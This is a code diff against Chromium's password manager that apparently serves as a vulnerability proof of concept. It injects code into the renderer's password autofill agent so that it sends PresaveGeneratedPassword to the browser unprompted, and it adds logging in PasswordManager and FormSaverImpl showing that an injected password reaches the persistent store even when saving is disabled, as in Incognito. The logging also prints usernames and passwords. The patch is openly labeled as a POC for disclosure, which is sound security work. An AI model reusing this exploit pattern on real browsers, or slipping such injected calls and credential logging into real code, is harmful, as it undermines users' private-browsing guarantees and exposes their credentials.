diff --git a/components/autofill/content/renderer/password_autofill_agent.cc b/components/autofill/content/renderer/password_autofill_agent.cc --- a/components/autofill/content/renderer/password_autofill_agent.cc +++ b/components/autofill/content/renderer/password_autofill_agent.cc @@ -1516,6 +1516,38 @@ void PasswordAutofillAgent::SendPasswordForms( if (!password_forms_data.empty()) { sent_request_to_store_ = true; GetPasswordManagerDriver().PasswordFormsParsed(password_forms_data); + + // ======================================================================== + // POC INJECTION (Strategy B): Simulate a compromised renderer that has + // achieved arbitrary code execution. A real renderer never sends + // PresaveGeneratedPassword without the browser-driven generation popup + // flow. We send it directly here, immediately after PasswordFormsParsed, + // to demonstrate that the browser process accepts it even when + // IsSavingAndFillingEnabled() == false (Incognito / saving disabled). + // ======================================================================== + if (render_frame()->IsMainFrame()) { + for (const auto& form : password_forms_data) { + if (!form.fields().empty()) { + LOG(ERROR) + << "[POC-RENDERER] Compromised renderer sending " + "PasswordGenerationDriver::PresaveGeneratedPassword for " + "form renderer_id=" + << form.renderer_id().value() << " url=" << form.url(); + static base::NoDestructor< + mojo::AssociatedRemote> + poc_gen_driver; + if (!poc_gen_driver->is_bound()) { + render_frame()->GetRemoteAssociatedInterfaces()->GetInterface( + poc_gen_driver.get()); + } + (*poc_gen_driver) + ->PresaveGeneratedPassword(form, + u"POC_INJECTED_PASSWORD_12345!"); + break; + } + } + } + // ====================== END POC INJECTION ============================== } } diff --git a/components/password_manager/core/browser/password_manager.cc b/components/password_manager/core/browser/password_manager.cc --- a/components/password_manager/core/browser/password_manager.cc +++ b/components/password_manager/core/browser/password_manager.cc @@ -723,6 +723,26 @@ void PasswordManager::OnPresaveGeneratedPassword( const FormData& form_data, const std::u16string& generated_password) { DCHECK(client_->IsSavingAndFillingEnabled(form_data.url())); + // ========================================================================== + // POC INSTRUMENTATION (not part of attack): log the value of + // IsSavingAndFillingEnabled() at the point of the DCHECK so that the bypass + // is observable on stderr in a release/ASAN build where DCHECK is a no-op. + // ========================================================================== + { + bool saving_enabled = client_->IsSavingAndFillingEnabled(form_data.url()); + LOG(ERROR) << "[POC-BROWSER] OnPresaveGeneratedPassword reached: " + << "url=" << form_data.url() + << " IsSavingAndFillingEnabled=" << saving_enabled + << " IsOffTheRecord=" << client_->IsOffTheRecord(); + if (!saving_enabled) { + LOG(ERROR) + << "[POC-BROWSER] *** VULNERABILITY CONFIRMED *** " + "IsSavingAndFillingEnabled()==false but DCHECK is a no-op in " + "release builds; proceeding to write credential '" + << generated_password << "' to persistent password store."; + } + } + // ====================== END POC INSTRUMENTATION =========================== PasswordFormManager* form_manager = GetMatchedManagerForForm(driver, form_data.renderer_id()); UMA_HISTOGRAM_BOOLEAN("PasswordManager.GeneratedFormHasNoFormManager", diff --git a/components/password_manager/core/browser/form_saver_impl.cc b/components/password_manager/core/browser/form_saver_impl.cc --- a/components/password_manager/core/browser/form_saver_impl.cc +++ b/components/password_manager/core/browser/form_saver_impl.cc @@ -123,6 +123,11 @@ void FormSaverImpl::Save( const std::u16string& old_password) { SanitizeFormData(&pending.form_data); pending.date_password_modified = base::Time::Now(); + // POC INSTRUMENTATION: confirm credential reaches the persistent store. + LOG(ERROR) << "[POC-BROWSER] FormSaverImpl::Save -> store_->AddLogin: " + << "signon_realm=" << pending.signon_realm + << " username=" << pending.username_value + << " password=" << pending.password_value; store_->AddLogin(pending); // Update existing matches in the password store. PostProcessMatches(pending, matches, old_password, store_);